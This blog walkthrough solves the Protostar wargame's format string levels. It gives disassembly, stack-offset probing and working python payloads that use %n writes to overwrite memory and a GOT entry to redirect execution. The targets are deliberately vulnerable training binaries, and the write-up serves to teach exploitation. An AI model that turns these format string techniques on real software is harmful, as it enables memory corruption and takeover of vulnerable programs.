THE

SPRAWL

  •  
  •  
  •  
  • Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the format string exploitation portion of the wargame.

    Spoiler Warning: I would highly recommend you to go over the exercises yourself and come back to this article to find possibly different solutions or in case you get stuck.

    Format 0

    The first exercise in the format string series starts with a basic buffer overflow that should be familiar from the previous Stack series:

    0x080483f4 <vuln+0>:    push   ebp
    0x080483f5 <vuln+1>:    mov    ebp,esp
    0x080483f7 <vuln+3>:    sub    esp,0x68
    0x080483fa <vuln+6>:    mov    DWORD PTR [ebp-0xc],0x0
    0x08048401 <vuln+13>:   mov    eax,DWORD PTR [ebp+0x8]
    0x08048404 <vuln+16>:   mov    DWORD PTR [esp+0x4],eax
    0x08048408 <vuln+20>:   lea    eax,[ebp-0x4c]             ; buffer
    0x0804840b <vuln+23>:   mov    DWORD PTR [esp],eax
    0x0804840e <vuln+26>:   call   0x8048300 <sprintf@plt>    ; overflow
    0x08048413 <vuln+31>:   mov    eax,DWORD PTR [ebp-0xc]    ; variable
    0x08048416 <vuln+34>:   cmp    eax,0xdeadbeef             ; check value
    0x0804841b <vuln+39>:   jne    0x8048429 <vuln+53>
    0x0804841d <vuln+41>:   mov    DWORD PTR [esp],0x8048510
    0x08048424 <vuln+48>:   call   0x8048330 <puts@plt>
    0x08048429 <vuln+53>:   leave
    0x0804842a <vuln+54>:   ret
    

    Using the overflow cased by the sprintf function, we could overwrite the local variable by overflowing the 64 byte buffer:

    $ ./format0 `python -c 'print "A"*64 + "\xef\xbe\xad\xde"'`
    you have hit the target correctly :)
    

    Format 1

    The next exercise challenges players to overwrite a single global variable with any non-zero value. There are no explicit calls to copy any buffers except a potentially vulnerable printf call:

    0x080483fa <vuln+6>:    mov    eax,DWORD PTR [ebp+0x8]
    0x080483fd <vuln+9>:    mov    DWORD PTR [esp],eax
    0x08048400 <vuln+12>:   call   0x8048320 <printf@plt>
    

    The parameter to the printf function is a user controlled value resulting in a classic format string vulnerability. Specifically we are going to take advantage of the %n specifier to write to an arbitrary location in memory as per the printf man page:

    n   The  number of characters written so far is stored into the integer indicated by 
        the int * (or variant) pointer argument.  No argument is converted.
    

    First, let's find where the target variable is located in memory:

    0x08048405 <vuln+17>:   mov    eax,ds:0x8049638
    0x0804840a <vuln+22>:   test   eax,eax
    0x0804840c <vuln+24>:   je     0x804841a <vuln+38>
    0x0804840e <vuln+26>:   mov    DWORD PTR [esp],0x8048500
    0x08048415 <vuln+33>:   call   0x8048330 <puts@plt>
    0x0804841a <vuln+38>:   leave
    0x0804841b <vuln+39>:   ret
    

    The variable is located at 0x8049638 in the .data segment indicating that it's a global variable. In order to point the %n specifier to the correct location in memory, we must first find the user buffer in memory:

    (gdb) break *vuln+12
    Breakpoint 1 at 0x8048400: file format1/format1.c, line 10.
    (gdb) r "AAAA%x"
    Starting program: /opt/protostar/bin/format1 "AAAA%x"
      :
    Breakpoint 1, 0x08048400 in vuln (string=0xbffff97f "AAAA%x") at format1/format1.c:10
    (gdb) x/4x $esp
    0xbffff760:     0xbffff97f      0x0804960c      0xbffff798      0x08048469
    (gdb) x/s 0xbffff97f
    0xbffff97f:      "AAAA%x"
      :
    

    The key to format string vulnerability exploitation is being able to find how many DWORDs are between the point on the stack where %n is processed and the user buffer (in this case 0xbffff97f). Just before the vulnerable call the value of ESP was 0xbffff760. Therefore, in order to access the user buffer we would need to "walk" roughly 135 DWORDs down the stack (0xbffff97f - 0xbffff760) / 4. The number can only be used as a general pointer since the state of ESP will change as the printf executes.

    In order to get a better estimate let's attempt to read as opposed to write down the stack with a bit of a bruteforce approach:

    $ ./format1 AAAA`python -c 'print ".".join(["%d:%%x" % i for i in range(1,140)])'`
    AAAA1:804960c.2:bffff438.3:8048469.4:b7fd8304.5:b7fd7ff4.6:bffff438.7:8048435.
      :
      :
    128:6d726f66.129:317461.130:41414141.131:78253a31.132:253a322e.133:3a332e78.
    134:342e7825.135:2e78253a.136:78253a35.137:253a362e.138:3a372e78.139:382e7825.
    

    The above input string would simply pop up to 140 DWORDS off the stack using the %x specifier and display an index for easy referencing. Indeed the value 0x41414141 was 130 DWORDs down the stack, which correspond to the beginning of the input string AAAA%x.

    Using the offset 130 and a direct parameter access we can complete the challenge by writing to the global variable 0x8049638 as follows:

    $ ./format1 `python -c 'print "\x38\x96\x04\x08%130\$n"'`
    8you have modified the target :)
    

    Format 2

    Picking up where the previous exercise left off, Format2 challenges players to write the exact value 64 to the global variable:

    0x0804848a <vuln+54>:   mov    eax,ds:0x80496e4
    0x0804848f <vuln+59>:   cmp    eax,0x40
    0x08048492 <vuln+62>:   jne    0x80484a2 <vuln+78>
    

    The user input is obtained from a call to fgets() within the same function vuln(). Thus, the user input should be fairly close to ESP since it is now located within the same stack frame as the printf():

    0x0804846e <vuln+26>:   lea    eax,[ebp-0x208]
    0x08048474 <vuln+32>:   mov    DWORD PTR [esp],eax
    0x08048477 <vuln+35>:   call   0x804835c <fgets@plt>
    0x0804847c <vuln+40>:   lea    eax,[ebp-0x208]
    0x08048482 <vuln+46>:   mov    DWORD PTR [esp],eax
    0x08048485 <vuln+49>:   call   0x804837c <printf@plt>
    

    The exact number of DWORDs can be obtained using the script from the previous example:

    $ python -c 'print "AAAA"+".".join(["%d:%%x" % i for i in range(1,16)])' | ./format2
    AAAA1:200.2:b7fd8420.3:bffff614.4:41414141...
    target is 0 :(
    

    The input string is located only four DWORDs down the stack. Let's write an exploit payload that will write to the target variable at 0x80496e4:

    $ python -c 'print "\xe4\x96\x04\x08%4$n"' | ./format2
    ▒
    target is 4 :(
    

    The specifier %n writes the number of bytes printed to the target address. The reason for the value 4 stored at the target address is due to printf outputting exactly 4 bytes corresponding to the 32bit address itself. So in order to write the value of 64, we just need to write 60 more bytes as follows:

    $ python -c 'print "\xe4\x96\x04\x08%60x%4$n"' | ./format2
                                                             200
    you have modified the target :)
    

    Format 3

    Slowly increasing the stakes, this exercise is now challenging us to write more than one byte to the target variable:

    0x0804849d <vuln+54>:   mov    eax,ds:0x80496f4
    0x080484a2 <vuln+59>:   cmp    eax,0x1025544
    0x080484a7 <vuln+64>:   jne    0x80484b7 <vuln+80>
    

    Just as in the previous examples, let's locate the DWORD offset to user buffer:

    $ python -c 'print "AAAA"+".".join(["%d:%%x" % i for i in range(1,16)])' | ./format3
    AAAA1:0.2:bffff5d0.3:b7fd7ff4.4:0.5:0.6:bffff7d8.7:804849d.8:bffff5d0.9:200.10:b7fd8420.11:bffff614.12:41414141.13:78253a31.14:253a322e.15:3a332e78
    target is 00000000 :(
    

    It takes 12 DWORDS to reach the user input. We can now craft a sample payload to write a single byte:

    $ python -c 'print "\xf4\x96\x04\x08%12$n"' | ./format3
    ▒
    target is 00000004 :(
    

    One-byte write

    The task of writing the 4 byte value 0x01025544 can be accomplished with 4 separate %n writes. The stack must be arranged in such a way that each subsequent %n write would target individual bytes 0x80496f4, 0x80496f5, 0x80496f6, and 0x80496f7 as follows:

    $ python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%12$n%13$n%14$n%15$n"' | ./format3
    ▒
    target is 10101010 :(
    

    The value 0x10 or 16 was expected as there were 4 four-byte addresses printed so far. At this point we can populate the target area in the little endian order while keeping in mind that each printed character affects the rest of the sequence and must be accounted for:

    First let's fill in the least significant byte by performing the following calculation: 0x44 - 0x10 = 0x34 (52). Now apply it to the exploit payload:

    $ python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n"+"%13$n%14$n%15$n"' | ./format3
    target is 44444444 :(
    

    Second least significant byte can be calculated as follows: 0x55 - 0x44 = 0x11 (17)

    $ python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n"+"%17x%13$n"+"%14$n%15$n"' | ./format3
    target is 55555544 :(
    

    Same story with the third byte; however, we are going to take advantage of a byte overflow get the desired offset: 0x102 - 0x55 = 0xad (173):

    $ python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n"+"%17x%13$n"+"%173x%14$n"+"%15$n"' | ./format3
    target is 02025544 :(
    

    And the last byte: 0x101 - 0x2 = 0xff (255):

    $ python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n"+"%17x%13$n"+"%173x%14$n"+"%255x%15$n"' | ./format3
    you have modified the target :)
    

    Two-byte write

    Alternatively, you could use the h length modifier to limit the above payload to only two writes:

    $ python -c 'print "\xf4\x96\x04\x08"+"\xf6\x96\x04\x08"+"%12$n%13$n"' | ./format3
    target is 00080008 :(
    
    $ python -c 'print "\xf4\x96\x04\x08"+"\xf6\x96\x04\x08"+"%21820x%12$n"+"%13$n"' | ./format3
    target is 55445544 :(
    
    $ python -c 'print "\xf4\x96\x04\x08"+"\xf6\x96\x04\x08"+"%21820x%12$n"+"%43966x%13$n"' | ./format3
    you have modified the target :)
    

    Format 4

    The final exercise in the format string series uses all of the previous techniques to alter the execution flow. The challenge is to execute the hello() function which is not normally callable in the application:

    (gdb) p hello
    $1 = {void (void)} 0x80484b4 <hello>
    

    The most likely address to target is the GOT entry for the exit() call, which is executed immediately after printf():

    (gdb) disas vuln
      :
      :
    0x080484ec <vuln+26>:   lea    eax,[ebp-0x208]
    0x080484f2 <vuln+32>:   mov    DWORD PTR [esp],eax
    0x080484f5 <vuln+35>:   call   0x804839c <fgets@plt>
    0x080484fa <vuln+40>:   lea    eax,[ebp-0x208]
    0x08048500 <vuln+46>:   mov    DWORD PTR [esp],eax
    0x08048503 <vuln+49>:   call   0x80483cc <printf@plt>
    0x08048508 <vuln+54>:   mov    DWORD PTR [esp],0x1
    0x0804850f <vuln+61>:   call   0x80483ec <exit@plt> <---
    
    (gdb) x/i 0x80483ec
    0x80483ec <exit@plt>:   jmp    DWORD PTR ds:0x8049724
    
    (gdb) x/x 0x8049724
    0x8049724 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483f2
    

    So if we were to overwrite the address at 0x8049724 with 0x80484b4, then hello() will be called instead of exit().

    Just as before, the user buffer offset can be located as follows:

    $ python -c 'print "AAAA"+".".join(["%d:%%x" % i for i in range(1,12)])' | ./format4
    AAAA1:200.2:b7fd8420.3:bffff614.4:41414141...
    

    We can complete the final exploit payload using two 2-byte writes:

    $ python -c 'print "\x24\x97\x04\x08"+"\x26\x97\x04\x08"+"%33964x%4$n"+"%33616x%5$n"' | ./format4
      :
      :
    code execution redirected! you win
    

    External Links and References

    Special Note

    Thanks to the folks at Exploit Exercises for creating the excellent wargame. Particularly making the exercises highly pedagogical with progressive difficulty and building on previously learned material.

    Published on May 18th, 2014 by iphelix

    sprawlsimilar

    exploit exercises - protostar - stack levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the stack exploitation portion of the wargame. Read more.

    exploit exercises - protostar - heap levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the heap exploitation portion of the wargame. Read more.

    exploit exercises - protostar - final levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. The final portion of the wargame combines Stack, Format String, Heap, and Network exploitation techniques into three excellent challenges to help solidify knowledge gained from previous exercises. Read more.

    exploit exercises - protostar - network levels

    Exploit Exercises' Protostar wargame includes a number of carefully prepared exercises to help hone your basic exploitation skills. In this walkthrough I will go over the network exploitation portion of the wargame. Read more.


    sprawlcomments

    All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

    π
    ///\oo/\\\